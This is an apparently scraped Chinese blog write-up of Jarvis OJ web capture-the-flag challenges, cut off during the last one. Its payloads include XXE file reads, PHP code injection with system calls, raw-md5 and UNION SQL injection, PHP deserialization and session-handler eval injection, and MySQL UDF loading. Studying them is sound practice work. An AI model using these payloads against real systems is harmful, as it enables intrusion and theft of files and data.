1. 程式人生 > >jarvis oj Web By Assassin

jarvis oj Web By Assassin

                       

LOCALHOST

套路題,構造headers中加上x-forwarded-for=127.0.0.1即可

這裡寫圖片描述

PCTF{X_F0rw4rd_F0R_is_not_s3cuRe}
   
  • 1

PORT51

訪問了頁面發現讓你

Please use port 51
to visit this site.
  • 1

明顯是繫結的埠,不可能用51埠去訪問啊,很困惑結果是自己去訪問的時候需要用到51埠啊…原來如此,使用curl中的–local-port命令

--local-port <埠號>[-num]設定連線使用的首選埠號或本地埠範圍。請注意,埠號是一種稀缺資源,繁忙時,請將埠範圍縮小來避免不必要的連線失敗。(在7.15.2版加入)
   
  • 1
  • 2
  • 3
  • 4
  • 5

構造payload如下

sudo curl --local-port 51 http://web.jarvisoj.com:32770/
  • 1

得到結果

這裡寫圖片描述

PCTF{M45t3r_oF_CuRl}
   
  • 1

api呼叫

目錄掃一下沒什麼特別的東西,看一下原始碼發現了關鍵程式碼

<script>function XHR() {        var xhr;        try {xhr = new XMLHttpRequest();}        catch
(e) {            var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];            for (var i=0,len=IEXHRVers.length;i< len;i++) {                try {xhr = new ActiveXObject(IEXHRVers[i]);}                catch(e) {continue;}            }        }        return xhr;    }function send(){ evil_input = document.getElementById("evil-input").value; var xhr = XHR();     xhr.open("post","/api/v1.0/try",true);     xhr.onreadystatechange = function () {         if (xhr.readyState==4 && xhr.status==201) {             data = JSON.parse(xhr.responseText);             tip_area = document.getElementById("tip-area");             tip_area.value = data.task.search+data.task.value;         }     };     xhr.setRequestHeader("Content-Type","application/json");     xhr.send('{"search":"'+evil_input+'","value":"own"}');}
</script>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29

稽核完程式碼沒有發現什麼東西,一個AJXA非同步post上傳,也沒看出什麼,看了題解後才明白是XXE實體上傳漏洞,原來對這個漏洞也是聞所未聞,所以後面專門記錄一下吧
我們直接講利用,看到原本的post包是這樣的

這裡寫圖片描述

大概講一下XXE漏洞就是利用xml中的entity實體讀取檔案。

<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///xxxx" >]>引用外部檔案<!DOCTYPE netspi [<!ENTITY xxe "hello" >]> 全域性變數
   
  • 1
  • 2

* 就是利用post過去的xml實體,構造有特定功能的xml來達到目的!*
這裡我們利用xxe漏洞首先需要修改Content-Type為application/xml ,即傳遞型別為xml格式,然後修改post值為

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xdsec [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "/home/ctf/flag.txt" >]><methodcall><methodname>&xxe;</methodname></methodcall>
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

完成攻擊

這裡寫圖片描述

CTF{XxE_15_n0T_S7range_Enough}
   
  • 1

admin

首先掃一下程式碼,發現存在robots.txt,代開看一下

這裡寫圖片描述

訪問後發現一個假flag
這裡寫圖片描述

然後抓包發現奧義,修改一下cookie
這裡寫圖片描述

flag{hello_admin~}
   
  • 1

WEB?

直到最後作出這道題目我的腦子都是矇蔽的,這根本不像WEB…
首先掃了一下目錄,毛線都沒的…然後看原始碼,發現有一個app.js比較可疑,然後用chrome的source看一下,但是這程式碼也太多了…
不管,用burp截包看一下,猛一下精神一振

這裡寫圖片描述

別急,菊花一緊沒卵用,該cookie是沒用的,複製Wrong Password!! 去app.js上找一下!發現了什麼

這裡寫圖片描述

沒錯,這個和checkpass這個函式脫不了干係!繼續搜尋checkpass,先是看到

r.checkpass = function() {                var e;                return (e = r).__checkpass__REACT_HOT_LOADER__.apply(e, arguments)            }
   
  • 1
  • 2
  • 3
  • 4

繼續搜尋看到真正的檢驗程式碼

function(e) {                if (25 !== e.length)                    return !1;                for (var t = [], n = 0; n < 25; n++)                    t.push(e.charCodeAt(n));                for (var r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259], o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]], n = 0; n < 25; n++) {                    for (var i = 0, a = 0; a < 25; a++)                        i += t[a] * o[n][a];                    if (i !== r[n])                        return !1                }                return !0            }
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

瞬間腦子就炸了,這不是密碼嘛…但是細看沒那麼恐怖…起始就是25元1維方程組…當然我自己寫不出來,但是python1的numpy庫中有這樣的函式啊,直接懟指令碼吧…

#coding:utf-8import numpyx=[[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]]x=numpy.array(x)        #xi shuy=[325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259]y=numpy.array(y)z=numpy.linalg.solve(x,y)flag = ''for i in z:    flag+=chr(int(round(i)))print flag
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
QWB{R3ac7_1s_interesting}
   
  • 1

babyphp

首先進入網站,一看就是個模板,猜測是原始碼洩漏,用工具掃一下,發現是git原始碼洩漏,默默掏出工具Githack下載原始碼

這裡寫圖片描述

然後發現想要的flag就在templates/flag.php中,而且有意思的是index.php存在明顯的程式碼注入!
這裡寫圖片描述

然後我嘗試了幾種方法

http://web.jarvisoj.com:32798/?page='.system("tac templates/flag.php").'http://web.jarvisoj.com:32798/?page=' and die(show_source('templates/flag.php')) or 'http://web.jarvisoj.com:32798/?page=/././')|system('tac templates/flag.php');//
   
  • 1
  • 2
  • 3
  • 4
  • 5
61dctf{8e_careful_when_us1ng_ass4rt}
   
  • 1

題目本身是caws2016的題目,也很有意思。

Login

首先看到題目擷取包發現header中存在hint

這裡寫圖片描述
這個是pctf中的一道原題,需要的是繞過一下一句sql

Hint: "select * from `admin` where password='".md5($pass,true)."'"
   
  • 1

要點是利用了md5和sql語句可以利用16進位制的特性,構造特殊的項查詢注入,結果可以找到如下ffifdyop,轉換成md5進位制後成了276f722736c95d99e921722cf9ed621c,再轉成字串: 'or'6<trash>
然後就好辦了

這裡寫圖片描述

PCTF{R4w_md5_is_d4ng3rous}
   
  • 1

[61dctf]inject

提示找到原始碼,就是原始碼洩漏,工具小子一發

這裡寫圖片描述

輕鬆得到原始碼

<?phprequire("config.php");$table = $_GET['table']?$_GET['table']:"test";$table = Filter($table);mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();$sql = "select 'flag{xxx}' from secret_{$table}";$ret = sql_query($sql);echo $ret[0];?>
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

發現sql語句,但是還發現存在一個不知名的Filter函式過濾,只能硬著頭皮試了,首先我們分析,問題1,如何繞過?我們看到關鍵程式碼如下

mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();$sql = "select 'flag{xxx}' from secret_{$table}";
   
  • 1
  • 2

在這裡需要普及一下desc的語法允許傳入兩個引數!
{DESCRIBE | DESC} tbl_name [col_name | wild]

而且在普通的sql中,連續的兩個`相當於一個空格(類似分隔符號),這樣我們可以構造注入,當然因為要第一句成功,搜尋的table必須存在,在第二句為了輸出我們想要的,需要查詢的第一部分失效!payload如下

test` ` where 1=2  union select 1
   
  • 1

這裡寫圖片描述

注入成功!我們注入後執行的語句如下!

desc `secret_test` ` where 1=2  union select 1`select 'flag{xxx}' from secret_test` ` where 1=2  union select 1
   
  • 1
  • 2

接著就是套路了,幸好本題沒什麼過濾…爆table

http://web.jarvisoj.com:32794/?table=test` `where 1=2 union+select table_NAME from information_schema.tables limit 0,1
   
  • 1

這裡寫圖片描述

爆cloumn

http://web.jarvisoj.com:32794/?table=test` `where 1=2 union+select column_NAME from information_schema.columns limit 0,1
   
  • 1

這裡寫圖片描述

查flag

http://web.jarvisoj.com:32794/?table=test` ` where 1=2  union select flagUwillNeverKnow from secret_flag 
   
  • 1
flag{luckyGame~}
   
  • 1

還是值得一提的desc這個,居然支援萬用字元字元 “%” 和 “_”,部分時候可以考慮用它爆列表名!

mysql> desc flag f___;+-------+--------------+------+-----+---------+-------+| Field | Type         | Null | Key | Default | Extra |+-------+--------------+------+-----+---------+-------+| flag  | varchar(200) | YES  |     | NULL    |       |+-------+--------------+------+-----+---------+-------+1 row in set (0.00 sec)mysql> desc flag ____;+-------+--------------+------+-----+---------+-------+| Field | Type         | Null | Key | Default | Extra |+-------+--------------+------+-----+---------+-------+| flag  | varchar(200) | YES  |     | NULL    |       |+-------+--------------+------+-----+---------+-------+1 row in set (0.01 sec)mysql> desc flag a___;Empty set (0.00 sec)
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

詳細的可以看Veneno師傅的文章
http://www.venenof.com/index.php/archives/380/

神盾局的祕密

這是個老題目了,首先掃目錄無果,檢視原始碼很快發現showimg.php檔案了,觀察它的url構造,很像是一個檔案包含啊,當然我們現在不知道有什麼檔案(除了哪個神盾圖,應該沒用),不妨看一下showimg.php自己能否成功,發現了原始碼

這裡寫圖片描述

<?php    $f = $_GET['img'];    if (!empty($f)) {        $f = base64_decode($f);        if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE        && stripos($f,'pctf')===FALSE) {            readfile($f);        } else {            echo "File not found!";        }    }?>
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

發現過濾了pctf這個關鍵詞,實驗之後發現了pctf.php檔案,但是有什麼錯誤…應該還沒完

這裡寫圖片描述

然後發現沒什麼線索了,發現疏漏了查一下index.php的原始碼!

<?php     require_once('shield.php');    $x = new Shield();    isset($_GET['class']) && $g = $_GET['class'];    if (!empty($g)) {        $x = unserialize($g);    }    echo $x->readfile();?>
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

差點忘記了,每次都是自動跳轉的!然後還看到了有一個shield.php,檢視一下!

<?php    //flag is in pctf.php    class Shield {        public $file;        function __construct($filename = '') {            $this -> file = $filename;        }        function readfile() {            if (!empty($this->file) && stripos($this->file,'..')===FALSE              && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {                return @file_get_contents($this->file);            }        }    }?>
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

發現sheild.php中並沒有過濾pctf欄位啊,可以利用,再看index.php中可以利用class控制輸入!
構造payload如下

http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
   
  • 1

得到flag

這裡寫圖片描述

PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
   
  • 1

PHPINFO

上來直接了當看到原始碼

 <?php//A webshell is wait for youini_set('session.serialize_handler', 'php');session_start();class OowoO{    public $mdzz;    function __construct()    {        $this->mdzz = 'phpinfo();';    }    function __destruct()    {        eval($this->mdzz);    }}if(isset($_GET['phpinfo'])){    $m = new OowoO();}else{    highlight_string(file_get_contents('index.php'));}?>
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

這個利用的是php的session解析不同導致的注入,首先我們看一下session序列化和反序列化的三種形式

               
處理器 對應的儲存格式
php 鍵名 + 豎線 + 經過 serialize() 函式反序列處理的值
php_binary 鍵名的長度對應的 ASCII 字元 + 鍵名 + 經過 serialize() 函式反序列處理的值
php_serialize (php>=5.5.4) 經過 serialize() 函式反序列處理的陣列

我們可以看到php只是比php_serialize序列化多出了一個鍵名 + 豎線 ,鍵名可以是空的,那麼我們只需要多加一個| 就可以完成程式碼注入,我們做一個小實驗,構造兩個檔案index.php和flag.php,其程式碼如下

//index.php<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION["OowoO"]=$_GET["a"]; echo $_SESSION["OowoO"];?>
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
//flag.php <?php//A webshell is wait for youini_set('session.serialize_handler', 'php');session_start();class OowoO{    public $mdzz;    function __construct()    {        $this->mdzz = 'phpinfo();';    }    function __destruct()    {        eval($this->mdzz);    }}?>
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21

可以看到index.php中為session的輸入,形式為php_serialize,而flag.php中解析的形式為php,那麼我們構造請求

localhost/index.php?a=|O:5:"OowoO":1:{s:4:"mdzz";s:14:"echo "hacker";";}
   
  • 1

看看請求效果
這裡寫圖片描述
說明程式碼注入成功了。

繼續看本題,但是我們並沒有可以輸入程式碼的地方啊,參考了大牛的答案發現可以利用Session Upload Progress進行上傳 參考資料如下
https://secure.php.net/manual/en/session.upload-progress.php

我們構造一個檔案,內容為

<form action="http://web.jarvisoj.com:32784/" method="POST" enctype="multipart/form-data">    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />    <input type="file" name="file" />    <input type="submit" /></form>
   
  • 1
  • 2
  • 3
  • 4
  • 5

然後用burp擷取上傳的資料包,然後我們只要修改其中的filename即可完成上傳。
在本地建立一個.php檔案用於生成我們需要的序列化程式碼

<?phpini_set('session.serialize_handler', 'php_serialize');class OowoO{    public $mdzz='需要設定的程式碼';    function __construct()    {        // $this->mdzz = 'phpinfo();';    }    function __destruct()    {        // echo $this->mdzz;    }}$obj = new OowoO();echo serialize($obj);?>
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

我們嘗試一下,構造|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:14:\"echo \"spoock\";\";}(雙引號需要用轉義符號轉義)返回了spoock,成功!

這裡寫圖片描述

23333然後繼續即可啦!
然後我們查一下網站的根目錄在哪

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:35:\"print_r($_SERVER[\"DOCUMENT_ROOT\"]);\";}
   
  • 1

這裡寫圖片描述

發現是 /opt/lampp/htdocs,然後看看那裡有沒有寶貝,然後發現了答案所在的位置

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:39:\"print_r(scandir('/opt/lampp/htdocs/'));\";}
   
  • 1

這裡寫圖片描述

構造得到flag

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:73:\"show_source(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\");\";}
   
  • 1

這裡寫圖片描述

這個題目真是太漲姿勢了!

CTF{4d96e37f4be998c50aa586de4ada354a}
   
  • 1

RE?

這個題目對弱來說確實是比較新得題目了,沒有想到鍋這個功能·
首先下載原始檔後發現類似逆向得東西,感覺非常困惑,經過學習原來mysql是可以調入.so檔案得,然後可以實現函式得引用,下面所使用得命令和方法很簡單,主要是接觸了一項新功能把~

首先學習到可以新增.so檔案到路徑/usr/lib/mysql/plugin中!(環境是ubuntu),然後我們可以用wget下載到該目錄,也可以修改許可權將下載好得檔案放到這裡!

這裡寫圖片描述

然後進入mysql之中,根據提示可以利用help_me函式!利用如下語句!(神奇)

mysql> create function help_me returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
   
  • 1

然後我們檢視一下

select help_me();
   
  • 1

這裡寫圖片描述

然後說答案在getflag中,同樣我們構造getflag函式

mysql> create function getflag returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
   
  • 1

然後檢視

select getflag();
   
  • 1

這裡寫圖片描述

PCTF{Interesting_U5er_d3fined_Function}
   
  • 1

flag在管理員手裡

首先開啟網頁發現說管理員才能看到內容,用burp抓包一下發現

這裡寫圖片描述

發現那個什麼role比較奇怪,揭祕後為 s:5:"guest";改成 s:5:"admin";
果不其然改了之後發現了什麼
這裡寫圖片描述

但是貌似沒什麼用處,目錄掃描一發,發現存在洩露程式碼!

這裡寫圖片描述

大概整理了一下程式碼如下

<!DOCTYPE html><html>    <head>        <title>Web 350</title>        <style type="text/css">     &nbs